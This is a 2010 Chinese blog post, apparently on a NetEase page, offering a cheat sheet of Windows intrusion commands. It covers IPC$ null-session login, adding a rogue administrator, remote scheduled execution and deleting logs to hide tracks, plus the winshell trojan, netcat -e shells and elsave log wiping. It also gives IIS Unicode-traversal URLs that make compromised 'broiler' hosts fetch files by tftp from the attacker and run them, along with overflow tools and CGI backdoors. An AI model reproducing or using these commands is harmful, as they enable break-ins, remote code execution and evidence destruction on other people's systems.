注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 

日志

 
 

网管和黑客都必须知道的命令  

2010-05-08 21:05:32|  分类: 电脑数码 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
与远程主机建立空管连接 net use \IP地址ipc$ "" /use:""
  以管理员身份登录远程主机 net use \IP地址ipc$ "密码" /use:"Administrator"
  传送文件到远程主机WINNT目录下copy 本机目录路径程序 \IP地址admin$
  查看远程主机时间 net time \IP地址
  定时启动某个程序 at \IP地址 02:18 readme.exe
  查看共享 net view \IP地址
  查看netbios工作组列表 nBTstat -A IP地址
  将远程主机C盘映射为自己的F盘 net use f: \IP地址c$ ""/user:"Administrator"
  这两条把自己增加到管理员组: net user 用户名 密码 /add
  net locaLGroup Administrators 用户名 /add
  断开连接 net use \IP地址ipc$ /delete
  扫尾:
  del C:winntsystem32logfiles*.*
  del C:winntssytem32config*.evt
  del C:winntsystem32dTCLog*.*
  del C:winntsystem32*.log
  del C:winntsystem32*.txt
  del C:winnt*.txt
  del C:winnt*.log
一、netsvc.exe
  下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
  netsvc /list \IP地址
  netsvc schedule \IP地址 /query
  netsvc \IP地址 schedule /start
二、OpenTelnet.exe
  远程启动主机的Telnet服务,并绑定端口到7878,例如:
  OpenTelnet \IP地址 用户名 密码 1 7878
  然后就可以telnet到主机的7878端口,进入DOS方式下:
  telnet IP地址 7878
三、winshell.exe
  一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
  p Path (查看winshell主程序的路径信息)
  b reBoot (重新启动机器)
  d shutDown (关闭机器)
  s Shell (执行后你就会看到可爱的“C:>”)
  x eXit (退出本次登录会话,此命令并不终止winshell的运行)
  CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
五、elsave.exe
  事件日志清除工具
  elsave -s \IP地址 -l "application" -C
  elsave -s \IP地址 -l "system" -C
  elsave -s \IP地址 -l "security" -C
  执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
  开启win2kserver和winxp的3389服务
  hbulot (/r)
七、nc.exe(netcat.exe)
  一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
  想要连接到某处: nc (-options) hostname port(s)(ports) ...
  绑定端口等待连接: nc -l -p port (-options) (hostname) (port)
参数:
  -e prog 程序重定向,一旦连接,就执行 (危险!)
  -g gateway source-routing hop point(s), up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h 帮助信息
  -i secs 延时的间隔
  -l 监听模式,用于入站连接
  -n 指定数字的IP地址,不能用hostname
  -o file 记录16进制的传输
  -p port 本地端口号
  -r 任意指定本地及远程端口
  -s addr 本地源地址
  -u UDP模式
  -v 详细输出——用两个-v可得到更详细的内容
  -w secs timeout的时间
  -z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
  把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名
  然后可以直接令文件运行:
  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具
  idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接.

 

醉龙归舟

归舟空间

原创特效音画04
原创特效音画05
原创特效音画06
原创特效音画07
原创特效音画03
原创特效音画02
原创特效音画01
情感文章001
养眼酷图001
音画图文001
经典视听001
电子图库001

  评论这张
 
阅读(3301)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017